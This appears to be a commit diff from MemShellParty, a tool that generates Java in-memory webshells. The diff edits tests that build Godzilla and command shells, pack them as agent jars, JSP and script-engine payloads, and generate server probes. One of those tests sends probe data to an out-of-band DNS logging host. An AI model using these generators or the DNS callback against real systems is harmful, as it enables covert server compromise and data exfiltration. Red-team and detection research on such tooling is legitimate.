archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-22 23:11:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support probe shell generation

Browse Source
This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent 3102f10d7b
commit 4a3bc0c40a
304 changed files with 59084 additions and 1454 deletions
Download Patch File Download Diff File Expand all files Collapse all files
generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java
+12 -8
View File
@@ -1,6 +1,8 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.jar.JarPacker;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Disabled;
@@ -8,7 +10,6 @@ import org.junit.jupiter.api.Test;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
/**
* @author ReaJason
@@ -21,9 +22,9 @@ class GeneratorMainTest {
@Disabled
void test() {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Command)
.shellType(ShellType.PROXY_VALVE)
.server(Server.SpringWebMvc)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET)
.targetJreVersion(Opcodes.V1_8)
.debug(true)
// .shrink(true)
@@ -49,11 +50,14 @@ class GeneratorMainTest {
InjectorConfig injectorConfig = new InjectorConfig();
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
if (generateResult != null) {
System.out.println(generateResult.getShellBytes().length);
Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
Packers.GzipBase64.getInstance().pack(generateResult.toClassPackerConfig());
Files.write(Paths.get("agent.jar"), ((JarPacker) Packers.AgentJar.getInstance()).packBytes(generateResult.toJarPackerConfig()));
// System.out.println(generateResult.getShellBytes().length);
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
}
}
}
generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java
+2 -2
View File
File diff suppressed because one or more lines are too long
generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java
+2 -2
View File
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
import org.junit.jupiter.api.Test;
@@ -15,7 +15,7 @@ class FreemarkerPackerTest {
@Test
void test() {
GenerateResult generateResult = GenerateResult.builder()
MemShellResult generateResult = MemShellResult.builder()
.injectorClassName("hehe")
.injectorBytesBase64Str("hehe").build();
String content = new String(packer.pack(generateResult.toClassPackerConfig()));
generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java
+41 -2
View File
File diff suppressed because one or more lines are too long
generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java
+2 -2
View File
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.packer.jsp.JspPacker;
import org.junit.jupiter.api.Test;
@@ -14,7 +14,7 @@ class JspPackerTest {
@Test
void pack() {
GenerateResult generateResult = GenerateResult.builder()
MemShellResult generateResult = MemShellResult.builder()
.injectorClassName("hehe")
.injectorBytesBase64Str("hehe").build();
String jspContent = new JspPacker().pack(generateResult.toClassPackerConfig());
generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java
+2 -2
View File
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
import org.junit.jupiter.api.Test;
@@ -14,7 +14,7 @@ class ScriptEnginePackerTest {
@Test
void pack() {
GenerateResult generateResult = GenerateResult.builder()
MemShellResult generateResult = MemShellResult.builder()
.injectorClassName("hehe")
.injectorBytesBase64Str("hehe").build();
String jsContent = new ScriptEnginePacker().pack(generateResult.toClassPackerConfig());
generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java
+2 -6
View File
@@ -1,11 +1,7 @@
package com.reajason.javaweb.memshell.tomcat.command;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.*;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
@@ -72,7 +68,7 @@ class CommandFilterTest {
.build();
InjectorConfig injectorConfig = new InjectorConfig();
GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
MemShellResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
// Files.write(Paths.get("hehe.class"), generate.getShellBytes());
String pack = Packers.ScriptEngine.getInstance().pack(generate.toClassPackerConfig());
System.out.println(pack);
generator/src/test/java/com/reajason/javaweb/probe/ProbeGeneratorTest.java
+32
View File
@@ -0,0 +1,32 @@
package com.reajason.javaweb.probe;
import com.reajason.javaweb.Constants;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import lombok.SneakyThrows;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/8/5
*/
class ProbeGeneratorTest {
@Test
@SneakyThrows
void generate() {
ProbeConfig probeConfig = ProbeConfig.builder()
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode)
.build();
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
.server(Constants.Server.JETTY)
.reqParamName("payload")
.build();
ProbeResult probeResult = ProbeGenerator.generate(probeConfig, responseBodyConfig);
System.out.println(probeResult.getShellBytesBase64Str());
// Files.write(Paths.get("hello.class"), probeResult.getShellBytes());
System.out.println(Packers.ScriptEngine.getInstance().pack(probeResult.toClassPackerConfig()));
}
}
generator/src/test/java/com/reajason/javaweb/probe/payload/Hello.java
+12
View File
@@ -0,0 +1,12 @@
package com.reajason.javaweb.probe.payload;
/**
* @author ReaJason
* @since 2025/8/1
*/
public class Hello {
@Override
public String toString() {
return null;
}
}
generator/src/test/java/com/reajason/javaweb/probe/payload/JdkDetectionTest.java
+30
View File
@@ -0,0 +1,30 @@
package com.reajason.javaweb.probe.payload;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import java.nio.file.Files;
import java.nio.file.Paths;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/8/1
*/
class JdkDetectionTest {
@Test
@Disabled
@SneakyThrows
void test() {
byte[] bytes = new ByteBuddy()
.redefine(Hello.class)
.visit(Advice.to(JdkProbe.class).on(named("toString")))
.make().getBytes();
Files.write(Paths.get("jdkDetection.class"), bytes);
}
}
generator/src/test/java/com/reajason/javaweb/probe/payload/OsDetectionTest.java
+35
View File
@@ -0,0 +1,35 @@
package com.reajason.javaweb.probe.payload;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import java.nio.file.Files;
import java.nio.file.Paths;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/7/26
*/
class OsDetectionTest {
@Test
@Disabled
@SneakyThrows
void testBytes() {
byte[] bytes = new ByteBuddy()
.redefine(Hello.class)
.visit(Advice.to(OsProbe.class).on(named("toString")))
.make().getBytes();
Files.write(Paths.get("osDetection.class"), bytes);
}
@Test
void test() {
System.out.println(System.getProperty("os.name").toLowerCase());
}
}
generator/src/test/java/com/reajason/javaweb/probe/payload/dns/ServerDnsLogTest.java
+30
View File
@@ -0,0 +1,30 @@
package com.reajason.javaweb.probe.payload.dns;
import com.reajason.javaweb.probe.payload.ServerProbe;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/8/1
*/
class ServerDnsLogTest {
@Test
@Disabled
@SneakyThrows
void test() {
Class<? extends DnsLogServer> loaded = new ByteBuddy()
.redefine(DnsLogServer.class)
.name("ServerDnsLogTest1")
.field(named("host")).value("ixdcn4.dnslog.cn")
.visit(Advice.to(ServerProbe.class).on(named("getServer")))
.make().load(getClass().getClassLoader()).getLoaded();
loaded.getDeclaredConstructor().newInstance();
}
}